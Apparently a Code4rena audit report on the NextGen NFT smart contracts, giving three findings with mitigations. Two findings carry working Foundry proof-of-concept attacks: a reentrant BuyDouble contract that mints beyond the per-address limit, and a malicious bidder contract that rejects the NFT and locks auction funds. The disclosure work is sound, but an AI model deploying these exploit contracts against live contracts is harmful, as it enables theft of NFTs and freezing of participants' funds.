NextGen - KupiaSec's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L196 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193-L198

Vulnerability details

Description

ERC721 contract derived by NextGenCore supports IERC721Receiver feature that calls onERC721Received function if msg.sender is a contract.

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}

function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
            return retval == IERC721Receiver.onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert("ERC721: transfer to non ERC721Receiver implementer");
            } else {
                /// @solidity memory-safe-assembly
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    } else {
        return true;
    }
}

This includes a vulnerability for malicious smart contracts override this function and try re-entrancy attacks to mint more NFTs than they are allowed to mint.

Proof of Concept

Here's a test case written in foundry that shows re-entrancy attack to mint more NFTs and the max allowed number.

contract BuyDouble {
    bool start;
    uint256 _numTokens;
    NextGenMinterContract _minter;
    uint256 _collectionId;

    function onERC721Received(address sender, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
        if (start == false) {
            start = true;
            _minter.mint{value: address(this).balance}(
                _collectionId,
                _numTokens,
                0,
                "",
                address(this),
                new bytes32[](0),
                address(0),
                0
            );
        }

        return this.onERC721Received.selector;
    }

    function buy(NextGenMinterContract minter, uint256 collectionId, uint256 numTokens) public payable {
        _minter = minter;
        _numTokens = numTokens;
        _collectionId = collectionId;
        start = false;

        minter.mint{value: address(this).balance / 2}(
            collectionId,
            numTokens,
            0,
            "",
            address(this),
            new bytes32[](0),
            address(0),
            0
        );
    }
}

contract NextGenTest is Test {
    NextGenMinterContract public minter;
    NextGenCore public gencore;
    NextGenAdmins public admins;
    NextGenRandomizerNXT public randomizer;

    address public constant globalAdmin = address(0x100);

    function setUp() public {
        vm.startPrank(globalAdmin);

        admins = new NextGenAdmins();
        gencore = new NextGenCore("Test NFT", "TNFT", address(admins));
        randomPool xrandom = new randomPool();
        randomizer = new NextGenRandomizerNXT(address(xrandom), address(admins), address(gencore));
        minter = new NextGenMinterContract(address(gencore), address(0), address(admins));

        gencore.addMinterContract(address(minter));

        vm.stopPrank();
    }

    function testReentrancy() public {
        uint256 collectionId = 1;
        address artist = address(1);
        uint256 maxPurchase = 3;
    
        // Setup Collection
        vm.startPrank(globalAdmin);

        string[] memory scripts = new string[](0);
        gencore.createCollection("BAYC", "Yuga Labs", "Bored Apes", "https://yuga.com", "", "https://bayc.com/", "", scripts);
        gencore.setCollectionData(collectionId, artist, maxPurchase, 100, 1 days);
        gencore.addRandomizer(collectionId, address(randomizer));

        minter.setCollectionCosts(collectionId, 1 ether, 0.5 ether, 0, 1 hours, 0, address(0));
        minter.setCollectionPhases(collectionId, 0, 0, 1, 100 days, bytes32(0));

        vm.stopPrank();

        // Reentrancy Test
        BuyDouble buyer = new BuyDouble();
        buyer.buy{ value: 1 ether * 2 * maxPurchase } (minter, collectionId, maxPurchase);

        uint256 purchasedCount = gencore.retrieveTokensMintedPublicPerAddress(collectionId, address(buyer));
        assertEq(purchasedCount, 2 * maxPurchase);
    }
}

Result of the test:

Running 1 test for test/Audit.t.sol:NextGenTest
[PASS] testReentrancy() (gas: 2215300)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.19ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Use nonReentrant modifier for mint function to prevent re-entrancy attacks.

Also here's some more suggestions: In mint and airDropTokens functions of NextGenCore contract, update states like tokensMintedPerAddress before actually minting/airdropping an NFT.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Description

When an auction is ended, the winner or an admin can call claimAuction function to finalize the auction that includes sending funds back to non-winners and transfer the NFT to the auction winner. However, NextGenCore contract derives from ERC721 that supports ERC721Receiver implementation.

Abusing this feature/vulnerability, a malicious contract can be the highester bidder at the end and reject receiving the NFT. As a result, funds from all participants will be locked in the auction contract.

Proof of Concept

Here's a foundry testcase for proof:

contract MaliciousAuctionParticipant {
    // Do not implement IERC721Receiver

    function participate(auctionDemo auction, uint256 tokenId) public payable {
        auction.participateToAuction{ value: msg.value }(tokenId);
    }
}

function testAuction() public {
    uint256 collectionId = 1;
    address artist = address(1);
    uint256 maxPurchase = 3;
    uint256 currentTime = block.timestamp;

    // Setup Collection
    vm.startPrank(globalAdmin);

    string[] memory scripts = new string[](0);
    gencore.createCollection("BAYC", "Yuga Labs", "Bored Apes", "https://yuga.com", "", "https://bayc.com/", "", scripts);
    gencore.setCollectionData(collectionId, artist, maxPurchase, 100, 1 days);
    gencore.addRandomizer(collectionId, address(randomizer));

    minter.setCollectionCosts(collectionId, 1 ether, 0.5 ether, 0, 1, 0, address(0)); // 1 mint per 1s
    minter.setCollectionPhases(collectionId, currentTime + 1, currentTime + 1, currentTime + 2, currentTime + 100, bytes32(0));

    vm.warp(currentTime + 3);

    minter.mintAndAuction(globalAdmin, "Auction NFT", 0, collectionId, currentTime + 100);

    // Setup auction contract
    auctionDemo auction = new auctionDemo(address(minter), address(gencore), address(admins));
    gencore.setApprovalForAll(address(auction), true);

    vm.stopPrank();

    // Participants participate
    address(0x101).call{ value: 1 ether }("");
    vm.startPrank(address(0x101));
    auction.participateToAuction{ value: 1 ether }(1e10);
    vm.stopPrank();

    // Malicious bidder becomes highest bidder
    MaliciousAuctionParticipant malice = new MaliciousAuctionParticipant();
    malice.participate{ value: 2 ether }(auction, 1e10);

    // End auction
    vm.warp(currentTime + 200);

    // Owner claims auction
    vm.startPrank(globalAdmin);
    auction.claimAuction(1e10);
    vm.stopPrank();
}

Result of running the test:

Encountered 1 failing test in test/Audit.t.sol:NextGenTest
[FAIL. Reason: revert: ERC721: transfer to non ERC721Receiver implementer] testAuction() (gas: 2730597)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Either only allow EOAs as participants or validate ERC721Receiver implementation.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L553-L557

Vulnerability details

Description

When a collection's sales option is 2 and rate is not zero, nft minting price decreases from start price to end price by rate per time period. It compares if (startPrice - endPrice) / rate is bigger than tDiff, which generates an issue when it's equal to tDiff because it determines the minting price as end price while actual price would be higher than that.

Proof of Concept

For example, let's assume that startPrice is 1ETH, endPrice is 0.5ETH, and rate is 0.03ETH. When tDiff is 16, current code's formular returns 0.5ETH, but in fact, actual minting cost has to be 0.52ETH.

$(startPrice - endPrice) \div rate = 16 <= tDiff = 16 $

Tools Used

Manual Review

Recommended Mitigation Steps

Replace > with >= in comparison.

Assessed type

Math